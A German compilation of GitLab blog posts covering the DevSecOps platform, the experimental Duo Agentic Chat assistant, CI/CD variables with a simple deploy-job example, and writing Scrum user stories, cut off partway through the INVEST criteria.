In den folgenden Abschnitten erfahren wir, wie GitLab Teams bei der Bewältigung gängiger Herausforderungen hilft – sei es bei der Verwaltung von Projekten und Aufgaben, der Gewährleistung von Sicherheit und Compliance oder der Einführung von KI-basierten Entwicklungstools – und das alles auf einer einzigen, einheitlichen Plattform.

Integriertes Agile-Projektmanagement

GitLab bietet eine ganzheitliche Lösung, bei der das Projekt- und Aufgabenmanagement über alle Phasen des Softwareentwicklungszyklus hinweg vollständig integriert ist, wie z. B. CI/CD, wodurch der Entwicklungsfortschritt in Echtzeit verfolgt werden kann. Tickets und Epics sind direkt mit den Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Flow von der Planung bis zur Bereitstellung in der Produktion. Dieser Ansatz erhöht die Transparenz zwischen den Teams, verringert Verzögerungen und stellt sicher, dass alle Beteiligten einen klaren Überblick über den Entwicklungsstatus in Echtzeit haben.

Integrierte Sicherheit

GitLab legt großen Wert auf die Integration von umfassenden Sicherheitsfunktionen („security first“). Die Plattform integriert eine breite Palette automatisierter Sicherheitsscanner, darunter (Dokumentation nur in englischer Sprache verfügbar):

Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind

Diese Sicherheitsprüfungen werden direkt in jede Phase des Softwareentwicklungszyklus eingebaut, einschließlich der CI/CD-Pipeline, um den Entwickler(inne)n schon früh im Entwicklungszyklus ein unmittelbares Feedback zu potenziellen Sicherheitsproblemen zu geben.

Compliance und regulatorische Anforderungen

Neben Effizienz und Benutzerfreundlichkeit müssen viele Unternehmen – insbesondere in regulierten Branchen wie Finanzinstituten oder Großunternehmen – sicherstellen, dass ihre Prozesse strengen Sicherheits- und Compliance-Standards entsprechen. Sie müssen in der Lage sein, Richtlinien für verschiedene Projekte durchzusetzen, z. B. einen Sicherheitsscanner vorzuschreiben, wenn eine CI/CD-Pipeline auf bestimmten Code-Branches (Main- oder geschützte Branches) ausgeführt wird, oder bestimmte Genehmigungen zu verlangen, bevor Code in den Main-Branch zusammengeführt wird.

Mit GitLab wird dies durch Compliance-Frameworks (nur in englischer Sprache verfügbar) erleichtert, eine Funktion, mit der Unternehmen strukturierte Richtlinien für ausgewählte Projekte definieren und durchsetzen können. So wird die Einhaltung automatischer gesetzlicher und sicherheitstechnischer Anforderungen gewährleistet und gleichzeitig ein nahtloser und effizienter Workflow für Entwickler(innen) sichergestellt.

KI-basierte Entwicklung

GitLab Duo unterstützt dich in allen Entwicklungsphasen mit KI, sodass du nicht mehr auf externe Tools zurückgreifen musst. Jede KI-unterstützte Anforderung wird im gesamten Kontext des Projekts und der Codebase bearbeitet, was eine intelligentere und effizientere Arbeit ermöglicht.

Die KI kann zum Beispiel folgende Aufgaben übernehmen:

automatische Erstellung von Aufgabenbeschreibungen
intelligente Zusammenfassung von Diskussionen zu Tickets, was Entwickler(inne)n wertvolle Zeit spart
erweiterte Code-Review-Funktionen
Vorschläge zur Codeverbesserung und -optimierung
automatisierte Testgenerierung
Erkennung und Behebung von Sicherheitslücken
Fehlerbehebung bei der Grundursachenanalyse für CI-Pipeline-Fehler
Datenschutz und Datensicherheit

GitLab kennt die Bedürfnisse von regulierten Unternehmen, insbesondere im öffentlichen und im Finanzsektor, und bietet eine einzigartige Lösung für den Einsatz von KI-Modellen in einer sicheren Umgebung. GitLab Duo Self-Hosted ermöglicht es Unternehmen, die volle Kontrolle über Datenschutz, Sicherheit und die Bereitstellung großer Sprachmodelle (LLMs; nur in englischer Sprache verfügbar) in ihrer eigenen Infrastruktur zu behalten. Dabei wird Folgendes gewährleistet:

Datenschutz
Einhaltung gesetzlicher Anforderungen
maximale Sicherheit
KI-Vorteile ohne externe Netzwerkabhängigkeiten oder -risiken

Zusammenfassung

Unternehmen brauchen eine umfassende DevSecOps-Plattform, um Prozesse zu rationalisieren, die Sicherheit zu verbessern und Innovationen zu beschleunigen. GitLab bietet genau das – eine einzige Anwendung, die alle wichtigen Entwicklungs-, Sicherheits- und Betriebswerkzeuge mit integrierter Sicherheitsintegration und KI-basierter Automatisierung vereint.

Willst du GitLab in Aktion sehen? Entdecke interaktive (englischsprachige) Demos für:

GitLab Premium und Ultimate mit Duo: Erlebe KI-Unterstützung bei der Entwicklung,
Sicherheit in der CI/CD-Pipeline: Sieh dir an, wie integriertes Sicherheitsscanning deine Software schützt.
Compliance-Frameworks: Erfahre, wie GitLab Richtlinien projektübergreifend durchsetzt, um eine bessere Governance zu gewährleisten.

Nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über die Zukunft der DevSecOps-Plattform zu erfahren, einschließlich der Rolle der agentischen KI. Registriere dich noch heute!

GitLab Duo Chat: Entdecke den neuen KI-Assistenten

2025-05-29T00:00:00.000Z

Generative KI-Chat-Assistenten sind in kurzer Zeit zum Standard in der Softwareentwicklung geworden und helfen dabei, Code zu erstellen und zu verbessern. Stell dir nun vor, dein Chat-Assistent könnte die Artefakte deines gesamten Entwicklungsprozesses und nicht nur deinen Code verstehen.

Was wäre, wenn dieser Chat-Assistent dir hilft, Tickets und Projektdokumentationen zu bearbeiten, bevor er dich beim Programmieren unterstützt, und auf CI/CD-Pipelines und Merge Requests zugreifen könnte, um dich bei der ordnungsgemäßen Durchführung von Programmieraufgaben zu begleiten?

Lerne die nächste Generation von GitLab Duo Chat kennen – GitLab Duo Agentic Chat, eine bedeutende Weiterentwicklung in der KI-nativen Entwicklungsunterstützung und die neueste Ergänzung unserer Plattform, die jetzt als experimenteller Release (nur in englischer Sprache) verfügbar ist.

GitLab Duo Agentic Chat ist für alle GitLab.com-Benutzer(innen) mit der Workflow-Erweiterung von GitLab in VS Code verfügbar.

Mit Agentic Chat ist der Chat nicht mehr bloß eine herkömmliche dialogorientierte KI, sondern wird zum Chat-Assistenten, der in deinem Namen selbst handelt und komplexe Probleme in einzelne Aufgaben unterteilt, die er lösen kann. Anstatt einfach nur Fragen mit deinem angegebenen Kontext zu beantworten, kann Agentic Chat:

Autonom feststellen, welche Informationen er braucht, um deine Fragen zu beantworten
Eine Reihe von Vorgängen ausführen, um diese Informationen aus verschiedenen Quellen zu sammeln
Umfassende Antworten formulieren, indem er Einblicke aus deinem gesamten Projekt kombiniert
Dateien erstellen und bearbeiten, um dir dabei zu helfen, Lösungen zu implementieren.

Dabei bleibt stets der Mensch als Entwickler(in) involviert.

Agentic Chat basiert auf der Architektur von Duo Workflow, der derzeit in der privaten Beta-Version verfügbar ist. Die Architektur besteht aus Agenten und Tools, die bestimmte Aufgaben übernehmen, z. B. den richtigen Kontext für eine bestimmte Frage finden oder Dateien bearbeiten.

Anwendungsfälle für GitLab Duo Agentic Chat

Hier findest du einige praktische und häufige Anwendungsfälle für Agentic Chat:

Arbeite dich schneller in neue Projekte ein, indem die KI dir hilft, mit einer neuen Codebase vertraut zu werden.
Lege sofort mit der zugewiesenen Arbeit los, auch wenn Ticketbeschreibungen unklar sind. Agentic Chat kann dir nämlich helfen, die Lücke zwischen Anforderungen und bestehenden Implementierungen zu überbrücken.
Wenn du Änderungen vornehmen möchtest, kann Agentic Chat die Implementierung übernehmen, indem er Dateien übergreifend über dein Projekt erstellt und bearbeitet.
Wenn ein Release ansteht, kann dir Agentic Chat helfen, zu überprüfen, ob deine Lösung die ursprünglichen Anforderungen auch tatsächlich erfüllt, indem er deinen Merge Request anhand des ursprünglichen Tickets oder der ursprünglichen Aufgabe überprüft.

Agentic Chat bearbeitet Code

Vom Lernen zum Bereitstellen: eine komplette Workflow-Demonstration in vier Schritten

Um dir zu zeigen, wie Agentic Chat das Entwicklererlebnis transformiert, sehen wir uns ein echtes Szenario unserer Entwicklungsteams an. Stell dir vor, du bist ein neues Teammitglied und hast ein Ticket zugewiesen bekommen, weißt aber nichts über die Codebase. Sieh dir diese Videodemonstration an:

Schritt 1: Das Projekt verstehen

Anstatt manuell die Dateien und die Dokumentation zu durchforsten, kannst du einfach folgenden Prompt in Agentic Chat eingeben:

I am new to this project. Could you read the project structure and explain it to me?

(Ich kenne dieses Projekt noch nicht. Lies dir bitte die Projektstruktur durch und erkläre sie mir.)

Agentic Chat bietet dir dann wir folgt einen umfassenden Projektüberblick:

Er sieht sich die Verzeichnisstruktur an.
Er liest README-Dateien und die Dokumentation.
Er identifiziert wichtige Komponenten und Anwendungen.

Schritt 2: Deine zugewiesene Aufgabe verstehen

Nun musst du deine jeweilige Aufgabe verstehen. Gib dazu den folgenden Prompt ein:

I have been assigned Issue 1119. Could you help me understand this task, specifically where do I need to apply the refactoring?

(Mir wurde das Ticket 1119 zugewiesen. Hilf mir bitte, diese Aufgabe zu verstehen. Wo genau muss ich das Refactoring durchführen?)

Agentic Chat erklärt dir die Aufgabe und schlägt einen Refactoring-Ansatz vor, indem er wie folgt vorgeht:

Er ruft die Details des Tickets vom GitLab-Remote-Server ab und analysiert sie.
Er untersucht relevante Projektdateien.
Er identifiziert die spezifischen Orte, für die Änderungen nötig sind.

Schritt 3: Die Lösung implementieren

Anstatt die Arbeit manuell zu erledigen, kannst du folgende Frage stellen:

Could you make the edits for me? Please start with steps one, two, three.

(Kannst du die Bearbeitungen für mich vornehmen? Bitte beginne mit den Schritten eins, zwei und drei.)

Agentic Chat geht dann so vor:

Er erstellt, wenn nötig, neue Verzeichnisse und Dateien.
Er extrahiert und refaktorisiert Code an mehreren Stellen.
Er stellt die Konsistenz übergreifend über alle geänderten Dateien sicher.
Er erstelle eine Übersicht über alle vorgenommenen Änderungen.

Schritt 4: Vollständigkeit überprüfen

Nachdem nun abschließend dein Merge Request erstellt wurde, kannst du deine Arbeit überprüfen:

Does my MR fully address Issue 1119?

(Löst mein MR das Ticket 1119 vollständig?)

Agentic Chat bestätigt nun, dass alle Anforderungen erfüllt werden, indem er sowohl deinen Merge Request als auch das ursprüngliche Ticket analysiert.

Probiere es jetzt aus und teile dein Feedback

GitLab Duo Agentic Chat ist derzeit als experimentelle Funktion in VS Code für Benutzer(innen) von GitLab Duo Pro und GitLab Duo Enterprise verfügbar. In unserer Einrichtungsdokumentation (nur in englischer Sprache verfügbar) findest du die Voraussetzungen und Konfigurationsschritte.

Da Agentic Chat derzeit nur eine experimentelle Funktion ist, hat er einige bekannte Einschränkungen, an denen wir derzeit aktiv arbeiten. Dazu gehören langsamere Reaktionszeiten aufgrund mehrerer API-Aufrufe, eine eher schlüsselwortbasierte als semantische Suche und eine eingeschränkte Unterstützung für neue lokale Ordner oder Nicht-GitLab-Projekte. Dein Feedback ist wichtig, damit wir die Verbesserungen priorisieren und Agentic Chat bald allgemein verfügbar machen können. Teile daher bitte deine Erfahrungen in diesem Ticket mit uns.

Wie geht es weiter?

Unser Hauptaugenmerk liegt darauf, Agentic Chat zu verbessern und allgemein verfügbar zu machen. In der Zwischenzeit arbeiten wir daran, die Reaktionszeiten zu verbessern und Funktionen hinzuzufügen, die GitLab Duo Chat derzeit bietet, wie z. B. die Verwendung von selbst gehosteten Modellen oder die Unterstützung von JetBrains und Visual Studio zusätzlich zu VS Code. Sobald wir Duo Chat auf diese neue Architektur umgestellt haben, planen wir außerdem, Agentic Chat in die Chat-Funktion der GitLab-Webanwendung zu integrieren. Zudem sind viele weitere Funktionen geplant, wie z. B. die Bearbeitung von GitLab-Artefakten, die Unterstützung von Kontexten aus benutzerdefinierten Model-Context-Protocol- oder MCP-Servern und Befehle, die im Terminal ausgeführt werden können.

Möchtest du autonome Entwicklungsunterstützung erleben, bist aber noch kein(e) GitLab-Kund(in)? Probiere Agentic Chat jetzt im Rahmen einer kostenlosen 60-tägigen Testversion von GitLab Ultimate mit Duo Enterprise aus und gestalte die Zukunft der KI-basierten Entwicklung mit. Folge diesen Einrichtungsschritten für VS Code (nur in englischer Sprache verfügbar).

Haftungsausschlussklausel: Dieser Blog enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen in diesem Blogbeitrag nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die in diesem Blog und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab.

Mehr erfahren

Erste Schritte mit GitLab: Arbeiten mit CI/CD-Variablen

2025-05-27T00:00:00.000Z

Willkommen zu unserer Serie „Erste Schritte mit GitLab“, in der wir Neueinsteiger(inne)n helfen, sich mit der DevSecOps-Plattform von GitLab vertraut zu machen.

In einem früheren Artikel haben wir uns mit GitLab CI/CD beschäftigt. Jetzt tauchen wir tiefer in die Welt der CI/CD-Variablen ein und erschließen ihr volles Potenzial.

Inhaltsverzeichnis

Was sind CI/CD-Variablen?
Warum sind CI/CD-Variablen wichtig?
Geltungsbereiche von CI/CD-Variablen: Projekt, Gruppe und Instanz
Definieren von CI/CD-Variablen
Verwenden von CI/CD-Variablen
Vordefinierte CI/CD-Variablen
Bewährte Methoden
Entdecke die Leistungsfähigkeit von Variablen
Reihe „Erste Schritte mit GitLab"

Was sind CI/CD-Variablen?

CI/CD-Variablen sind dynamische Schlüssel-Wert-Paare, die du auf verschiedenen Ebenen in deiner GitLab-Umgebung definieren kannst (z. B. Projekt, Gruppe oder Instanz). Diese Variablen fungieren als Platzhalter für Werte, die du in deiner .gitlab-ci.yml-Datei verwenden kannst, um deine Pipelines anzupassen, vertrauliche Informationen sicher zu speichern und deine CI/CD-Konfiguration besser zu pflegen.

Warum sind CI/CD-Variablen wichtig?

CI/CD-Variablen bieten zahlreiche Vorteile:

Flexibilität – Du kannst deine Pipelines leicht an verschiedene Umgebungen, Konfigurationen oder Bereitstellungsziele anpassen, ohne dein zentrales CI/CD-Skript zu ändern.
Sicherheit – Speichere vertrauliche Informationen wie API-Schlüssel, Passwörter und Token sicher und verhindere so, dass sie in deinem Code offengelegt werden.
Wartbarkeit – Verwalte deine CI/CD-Konfiguration sauber und übersichtlich, indem du Werte in Variablen zentralisierst, was Aktualisierungen und Änderungen erleichtert.
Wiederverwendbarkeit – Definiere Variablen einmal und verwende sie in mehreren Projekten wieder, um die Konsistenz zu fördern und doppelte Arbeit zu vermeiden.

Geltungsbereiche von CI/CD-Variablen: Projekt, Gruppe und Instanz

Mit GitLab kannst du CI/CD-Variablen mit unterschiedlichen Geltungsbereichen definieren und so ihre Sichtbarkeit und Zugänglichkeit steuern:

Variablen auf Projektebene – Diese Variablen sind spezifisch für ein einzelnes Projekt und eignen sich ideal zum Speichern von projektspezifischen Einstellungen, wie zum Beispiel:
- Bereitstellungs-URLs: Definiere unterschiedliche URLs für Staging- und Produktivumgebungen.
- Datenbank-Zugangsdaten: Speichere Details zur Datenbankverbindung für Tests oder die Bereitstellung.
- Feature-Flags: Aktiviere oder deaktiviere Funktionen in verschiedenen Phasen deiner Pipeline.
- Beispiel: Du hast ein Projekt mit dem Namen „MyWebApp“ und möchtest die URL für die Bereitstellung speichern. Du erstellst eine Variable auf Projektebene mit dem Namen DPROD_DEPLOY_URL und dem Wert https://mywebapp.com.
Variablen auf Gruppenebene – Diese Variablen werden von allen Projekten innerhalb einer GitLab-Gruppe gemeinsam genutzt. Sie sind nützlich für Einstellungen, die für mehrere Projekte gleich sind, wie z. B.:
- API-Schlüssel für gemeinsam genutzte Dienste: Speichere API-Schlüssel für Dienste wie AWS, Google Cloud oder Docker Hub, die von mehreren Projekten innerhalb der Gruppe genutzt werden.
- Globale Konfigurationseinstellungen: Lege gemeinsame Konfigurationsparameter fest, die für alle Projekte in der Gruppe gelten.
- Beispiel: Du hast eine Gruppe mit dem Namen „Web-Apps“ und möchtest einen API-Schlüssel für Docker Hub speichern. Du erstellst eine Variable auf Gruppenebene mit dem Namen DOCKER_HUB_API_KEY und dem entsprechenden API-Schlüsselwert.
Variablen auf Instanzebene – Diese Variablen sind für alle Projekte auf einer GitLab-Instanz verfügbar. Sie werden in der Regel für globale Einstellungen verwendet, die für das gesamte Unternehmen gelten, wie z. B.:
- Standard-Token für die Registrierung von Runnern: Lege ein Standard-Token für die Registrierung neuer Runner (nur in englischer Sprache verfügbar) fest.
- Lizenzinformationen: Hier kannst du Lizenzschlüssel für GitLab-Funktionen oder Tools von Drittanbietern speichern.
- Globale Umgebungseinstellungen: Lege Umgebungsvariablen fest, die für alle Projekte verfügbar sein sollen.
- Beispiel: Du möchtest ein Standard-Docker-Image für alle Projekte in deiner GitLab-Instanz festlegen. Du erstellst eine Variable auf Instanzebene mit dem Namen DEFAULT_DOCKER_IMAGE und dem Wert ubuntu:latest.

Definieren von CI/CD-Variablen

So definierst du eine CI/CD-Variable:

Klicke auf die Schaltflächen Einstellungen > CI/CD für dein Projekt, deine Gruppe oder deine Instanz.
Gehe zum Abschnitt Variablen.
Klicke auf Variable hinzufügen.
Gib den Schlüssel (z. B. API_KEY) und den Wert ein.
Aktiviere optional das Kontrollkästchen Variable schützen, wenn es sich um vertrauliche Informationen handelt. Dadurch wird sichergestellt, dass die Variable nur für Pipelines verfügbar ist, die auf geschützten Branches oder Tags ausgeführt werden.
Aktiviere optional das Kontrollkästchen Variable maskieren, um den Wert der Variable in den Job-Protokollen auszublenden und eine versehentliche Offenlegung zu verhindern.
Klicke auf Variable speichern.

Verwenden von CI/CD-Variablen

Um eine CI/CD-Variable in deiner .gitlab-ci.yml-Datei zu verwenden, stellst du dem Variablennamen einfach $ voran:

deploy_job:
  script:
    - echo "Deploying to production..."
    - curl -H "Authorization: Bearer $API_KEY" https://api.example.com/deploy

Vordefinierte CI/CD-Variablen

GitLab stellt vordefinierte CI/CD-Variablen (nur in englischer Sprache verfügbar) bereit, die du in deinen Pipelines verwenden kannst. Diese Variablen liefern Informationen über die aktuelle Pipeline, den Job, das Projekt und mehr.

Einige häufig verwendete vordefinierte Variablen sind:

$CI_COMMIT_SHA: Der Commit-SHA der aktuellen Pipeline.
$CI_PROJECT_DIR: Das Verzeichnis, in dem das Projekt geklont wird.
$CI_PIPELINE_ID: Die ID der aktuellen Pipeline.
*$CI_ENVIRONMENT_NAME: Der Name der Umgebung, in der bereitgestellt wird (falls zutreffend).

Bewährte Methoden

Verwalte vertrauliche Variablen sicher: Verwende geschützte und maskierte Variablen für API-Schlüssel, Passwörter und andere vertrauliche Informationen.
Vermeide das Hardcoding von Werten: Verwende Variablen zum Speichern von Konfigurationswerten, um deine Pipelines flexibler und wartbarer zu machen.
Organisiere deine Variablen: Verwende aussagekräftige Namen und gruppiere verwandte Variablen, um sie besser zu organisieren.
Verwende den richtigen Geltungsbereich: Wähle den richtigen Geltungsbereich (Projekt, Gruppe oder Instanz) für deine Variablen aus, je nach Verwendungszweck und Sichtbarkeit.

Entdecke die Leistungsfähigkeit von Variablen

CI/CD-Variablen sind ein leistungsstarkes Tool zur Anpassung und Sicherung deiner GitLab-Pipelines. Wenn du verstanden hast, wie Variablen funktionieren und ihre unterschiedlichen Geltungsbereiche kennst, kannst du flexiblere, wartbarere und effizientere Workflows erstellen.

Wir hoffen, dass diese Informationen für dich hilfreich waren und du jetzt gut gerüstet bist, um die Möglichkeiten von GitLab für deine Entwicklungsprojekte zu nutzen.

Lege jetzt los mit CI/CD-Variablen mit einer kostenlosen, 60-tägigen Testversion von GitLab Ultimate mit Duo Enterprise.

Reihe „Erste Schritte mit GitLab“

Lies weitere Artikel in unserer Serie „Erste Schritte mit GitLab“:

So schreibst du eine User Story in Scrum

2025-05-20T00:00:00.000Z

Die User Story ist ein sehr einfaches Konzept. Trotzdem hat sie die Projektplanung entscheidend verändert - und das, obwohl User Stories zum Beispiel in Scrum nicht einmal vorkommen.

Gerade weil User Storys für die Teamarbeit so wichtig sind, stellen sie eine Herausforderung dar. Diskussionen um die richtige Formulierung einer User Story in Scrum oder ihre korrekte Bearbeitung in Kanban können wertvolle Zeit verbrauchen. So empfinden viele das Konzept eher als undeutlich, aufwändig und belastend.

Wir glauben fest daran, dass eine tiefe Verinnerlichung von User Storys - gerade in der agilen Methode - dich wirklich voranbringen kann. In diesem Artikel werden wir deshalb so praxisnah wie möglich demonstrieren, wie du sie nutzen kannst, um zu besseren Entscheidungen, Prozessen und Produkten zu gelangen.

Inhaltsverzeichnis

Was ist eine User Story?
Warum sollte ich mit User Stories arbeiten?
Kann ich auch ohne User Stories auskommen?
Welche Rolle spielen User Stories in Agile?
User Stories in Scrum
Wie schreibe ich eine gute User Story?
- Das 3C-Modell
- INVEST
Scrum User Story: Aufbau und Beispiel
Agile Schätzung
Story Points: Aufwand vs. Arbeitszeit
Story Points in der Schätzung
- Planning Poker
- Affinity Mapping
Wer schreibt User Stories?

Wir werden dabei definieren, was User Stories sind, über das Schreiben und den Aufbau einer User Story informieren, Beispiele geben und dir zeigen, was eine gute User Story ausmacht. Doch fangen wir mit einer grundlegenden Frage an:

Was ist eine User Story?

Manche bezeichnen eine User Story schlicht als die kleinste Einheit (oder auch als ein „Werkzeug”) der agilen Methode. Andere, darunter auch die Agile Scrum Group, als eine „Beschreibung dessen, was ein Benutzer (User) will.”

Aus diesen Definitionsversuchen wird deutlich: Eine User Story ist eigentlich gar keine „Geschichte”. Sie stellt vielmehr einen Ansatz dar, dein Produkt so zu verändern, dass es aus der Sicht der Kund(innen) ein neues, besseres Erlebnis bietet.

Innerhalb einer User Story ist ein neues Feature somit nur dann eine Verbesserung, wenn es Anwender(innen) einen ganz bestimmten, erfahrbaren Nutzen bietet. Eine Software zu „optimieren”, ohne nach diesem Nutzen zu fragen, wird dabei als nicht zielführend betrachtet.

Gute User Stories zu schreiben, bedeutet, dich in der Entwicklung von Kund(innen) leiten zu lassen und auf ihre Bedürfnisse und Wünsche hinzuarbeiten. Es bedeutet, den Fokus auf Features hinter dir zu lassen und dich in Richtung einer Betrachtungweise zu bewegen, bei der echte Wertschöpfung in den Mittelpunkt gestellt wird.

Dennoch wurde der Begriff „Story”, wie Jeff Patton, einer der geistigen Väter der modernen User Story betont hat, mit Bedacht gewählt. Wir werden darauf später noch genauer eingehen.

Warum sollte ich mit User Stories arbeiten?

Diese Frage stellt sich in einigen Teams wohl so manche(r). Denn in der Praxis nimmt sich die Arbeit mit User Stories nicht immer einfach aus. Dennoch lohnt sich die investierte Mühe zweifelsohne. Denn das Konzept der User Story mag auf dem Papier fast schon banal anmuten. In Wahrheit steckt dahinter eine entscheidende Neuausrichtung der Entwicklungsarbeit:

User Stories legen den Fokus voll und ganz auf die Anwender(innen) - also auf diejenigen, die das Produkt nutzen, bewerten und bezahlen.
Sie verlagern den Schwerpunkt von „objektiven” Features auf das „subjektive” Erlebnis, mit diesen Features zu arbeiten. Hier kommt der „Story-Gedanke” zum Tragen: Wie wertvoll dein Produkt aus Sicht der Kund(innen) ist, hängt von der Geschichte ab, die sich User(innen) darüber bilden.
Damit kombinieren diese Stories beide Sichten auf ein Produkt: Die technisch-funktionale sowie die narrativ-emotionale.
Weil User Stories die Betonung auf den Nutzen legen, der für Kund(innen) entsteht, sind sie in ihrer Umsetzung nicht starr festgelegt. Das Ziel ist nicht die Anwendung, sondern die Vorstellung von einer besseren Erfahrung. Der Weg zu dieser Erfahrung lässt sich auf viele verschiedene Weisen erreichen.
User Storys sind Teil eines kontinuierlichen Verbesserungsprozesses wie der automatisierten Softwarebereitstellung, mit vielen sofort testbaren Zwischenstufen (minimal viable product, das kleinste realisierbare Produkt). Dieser Prozess endet theoretisch mit einem Produkt, das aus Sicht der Kund(innen) nicht mehr optimiert werden kann (und welches somit in der Praxis niemals erreicht werden wird).

In der Regel helfen User Stories auch dabei, sinnvolle Prioritäten zu setzen, die praxisnah und in einem angemessenen Zeitrahmen realisierbar sind.

Kann ich auch ohne User Stories auskommen?

User Stories haben sich fest etabliert. Dennoch kommen auch heute noch viele Teams ohne sie aus. Sogar Firmen, die sich eigentlich fest der agilen Methode verschrieben haben, nutzen sie nicht zwangsläufig.

Trotzdem kann man behaupten: Wer wirklich agil arbeiten will, wird zumindest mit Instrumenten und Konzepten arbeiten, die den User Stories sehr nahe kommen. Wie wir im nächsten Abschnitt zeigen werden, bauen beide auf demselben Ansatz auf und sind eng miteinander verflochten.

Andersherum gilt auch: Nicht jedes Team, das auf User Stories setzt, hat die Philosophie voll verinnerlicht. Nur allzu leicht wird eine User Story zu einem einfachen „Requirement” - einer Auflistung gewünschter Funktionalitäten, bei der oftmals der Nutzen für Kund(innen) vergessen wird.

Welche Rolle spielen User Stories in Agile?

Aus dem Gesagten wird ersichtlich, warum User Stories in der agilen Entwicklung auf einen fruchtbaren Nährboden gestoßen sind. Beide legen den Fokus auf ständige Verbesserungen, Teamarbeit einschließlich einer engen Zusammenarbeit mit Kund(innen), und die Orientierung der Ergebnisse an klaren Bewertungskriterien.

User Stories fügen sich nahtlos in eine agile Organisation ein:

Idealerweise kann eine User Story innerhalb eines einzigen Sprints abgearbeitet werden.
User Stories werden im Team festgelegt, besprochen und umgesetzt.
Ein klar definiertes Bewertungssystem liefert die Daten, die benötigt werden, um ein Projekt abzuschließen.

Willst du User Stories in deinem Team nutzen? Wenn du mit Kanban arbeitest, brauchst du für deine Projektarbeit nichts zu verändern. Du kannst weiterhin mit deinen To-do-Listen arbeiten, richtest die Ziele aber nunmehr auf die Perspektive von Kund(innen) aus.

User Stories in Scrum

Wie gezeigt, sind User Stories sehr eng mit der agilen Methode verbunden. Und Scrum ist eine der zentralen Konzepte zur Umsetzung der agilen Methode. So erscheint es als selbstverständlich, dass User Stories auch in Scrum Anwendung finden.

Interessanterweise aber werden sie im Scrum User Guide nicht erwähnt. Stattdessen thematisiert dieser lediglich den „Product Backlog”, also

„alle Features, Funktionalitäten, Verbesserungen und Fehlerbehebungen, die das Produkt in Zukunft verändern sollen. Ein Product Backlog Item enthält eine Beschreibung, eine Reihenfolge, Schätzung und Bewertung als Attribute.” [Übersetzung aus dem Englischen]

Aus dem gerade Erwähnten dürfen keine falschen Schlussfolgerungen gezogen werden.

User Stories sind nicht die einzige Möglichkeit, mit Scrum kundenorientiert zu arbeiten. Trotzdem haben sie in Scrum ganz gewiss ihren Platz! Vielmehr möchte sich der Scrum-Guide nur nicht eindeutig auf ihre Verwendung festlegen und Scrum-Mastern maximale Freiheit einräumen.

Wie schreibe ich eine gute User Story?

Diese Frage stellt sich zu Beginn nahezu jedes neuen Sprints. Wenn User Stories intuitiv erfassbar und ihre Vorteile offensichtlich sind und wenn das Konzept an sich einfach zu erklären ist - warum fällt es dann schwer, es in die Praxis umzusetzen?

Wenn du dich mit dieser Frage beschäftigst, mache dir deswegen keine Vorwürfe. User Storys gibt es als methodische Idee bereits seit fast 30 Jahren. Innerhalb dieser Zeit hat es immer wieder Bemühungen gegeben, die Umsetzung zu vereinfachen - ein eindeutiges Indiz, dass sie nicht einfach ist.

Eine gute User Story hat bestimmte Qualitätskriterien. Diese werden wir uns im nächsten Abschnitt ansehen. Trotzdem glauben wir, dass es möglich ist, auf einer etwas allgemeineren Ebene zu erklären, was eine gute User Story ausmacht:

Damit eine User Story wirklich Nutzen für Kund(innen) generiert, muss sie ihrer Erlebniswelt so nahe wie möglich kommen. Deshalb werden viele der besten User Storys de facto von den Anwender(innen) verfasst - sei es nach einem intensiven Gespräch oder weil der Kontakt so eng ist, dass du sehr genau abschätzen kannst, was diese sich wünschen.

Das zweite wichtige Kriterium ist, diesen Nutzen so lebendig wie möglich darzustellen. Wir haben zu Anfang erwähnt, dass eine User Story keine Geschichte ist. Wenn wir sie zu Papier bringen, dann solltest du sie dir sehr plastisch vorstellen können: So dreidimensional wie ein kleiner Film, der vor dem geistigen Auge abläuft, so kurz gefasst wir ein Haiku. Dabei kannst du die Zufriedenheit bei Anwender(innen) förmlich spüren.

Auf einer formalen Ebene können das 3C-Modell und die INVEST-Methode weitere Hinweise liefern. In den folgenden beiden Abschnitten gehen wir genauer auf sie ein.

Das 3C-Modell

Das 3C-Modell entstand bereits früh in der User-Story-Geschichte. Es stammt noch aus einer Zeit, in der die Stories noch wortwörtlich „zu Papier” gebracht wurden. Für eine gute Story sollten in diesem Rahmenwerk folgende drei Punkte erfüllt sein:

Card: Die User Story sollte so knapp bemessen sein, dass sie auf eine Karteikarte passt, jedoch ausführlich genug, dass sie diese Karte komplett ausfüllt.
Conversation: Die User Story definiert einen Wunsch und Nutzen der Kund(innen). Die Bewertung und Umsetzung dieser Story erfolgt in enger Zusammenarbeit zwischen allen Teammitgliedern und Kund(innen). Intensive Gespräche sind dabei ein zentraler Bestandteil.
Confirmation: Es muss eine objektivierbare Möglichkeit bestehen, festzustellen, wann das Ziel erreicht ist.

Das 3C-Modell ist angenehm knapp und bringt zur Geltung, was eine gute Story von einer weniger überzeugenden unterscheidet. Gleichzeitig liefert es wenig praktische Hilfe dabei, eine solche User Story zu schreiben.

INVEST

Auch bei dem Akronym INVEST handelt es sich um einen Katalog von Anforderungen an gutes User-Story-Schreiben. Es gibt Überschneidungen mit 3C, aber auch eigenständige Punkte.

Sehen wir uns die sechs Anforderungen von INVEST einzeln an:

Independent: Jede User Story sollte einen eigenständigen Wunsch von Kund(innen) abbilden. Sie sollte nicht von der Umsetzung anderer Wünsche abhängen.
Negotiable: Die Bedürfnisse der Kund(innen) stehen immer im Vordergrund. Aber eine User Story lebt auch vom regen Austausch zwischen verschiedenen Abteilungen und Teams. Wichtiger als ein starres Festhalten an einmal gewählten Formulierungen ist ein ständiges Aushandeln und Neuverhandeln der Ziele sowie der Methoden zu ihrer Umsetzung.
Valuable: Eine gute User Story muss einen echten, spürbaren Nutzen für Kunden liefern.
Estimate: Manche User Storys werden sich schnell und problemlos lösen lassen. Andere sind komplex. Damit für die praktische Arbeit ausreichend Mitarbeiter(innen) mit dem erforderlichen Wissen zur Verfügung gestellt werden, bedarf es einer möglichst genauen Aufwandseinschätzung.
